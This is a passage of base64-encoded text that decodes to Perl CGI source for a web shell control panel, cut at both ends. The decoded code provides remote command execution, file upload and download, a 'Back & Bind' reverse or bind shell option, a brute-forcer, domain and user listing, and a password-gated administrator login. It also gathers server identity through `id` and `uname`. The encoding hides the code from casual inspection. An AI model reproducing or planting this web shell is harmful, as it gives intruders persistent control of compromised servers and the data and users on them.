uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmOwp9CnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7Cn0KI2RvbWFpbiB0cjpob3ZlcnsKYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKfQp0ZCB7CmNvbG9yOiAjZmZmZmZmOwp9Ci5saXN0ZGlyIHRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Ci5saXN0ZGlyIHRoewoJY29sb3I6ICNGRjk5MDA7Cn0KLmRpciwuZmlsZQp7Cgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7Cn0KLmRpcnsKCWZvbnQtc2l6ZTogMTBwdDsgCglmb250LXdlaWdodDogYm9sZDsKfQp0YWJsZSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KaW5wdXQgewpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKY29sb3I6ICNmZjk5MDA7Cn0KaW5wdXQuc3VibWl0IHsKdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwpjb2xvcjogI0ZGRkZGRjsKYm9yZGVyLWNvbG9yOiAjMDA5OTAwOwp9CmNvZGUgewpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6IHdoaWxlOwp9CnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogI0ZGMDBBQTsKfQp0ZXh0YXJlYSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoubGlzdGRpciB0cjpob3ZlcnsKCWJhY2tncm91bmQ6ICM0NDQ7Cn0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7CgliYWNrZ3JvdW5kOiAjNDQ0OwoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsKfQoubm90bGluZXsKCWJhY2tncm91bmQ6ICMxMTE7Cn0KLmxpbmV7CgliYWNrZ3JvdW5kOiAjMjIyOwp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpCnsKCXZhciBlID0gIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG5hbWUpOwoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7CglyZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPgoJCTxiPjxmb250IHNpemU9IjMiPj0tLVsgICRFZGl0UGVyc2lvbiBdLS09PC9mb250PjwvYj4KCTwvdGQ+Cgk8dGQ+CgkJJGluZm8KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+Cgk8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPSNmZjk5MDA+UGFzcyA9IHh4eCA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPgo8L2NlbnRlcj48L2JvZHk+PC9odG1sPiI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWV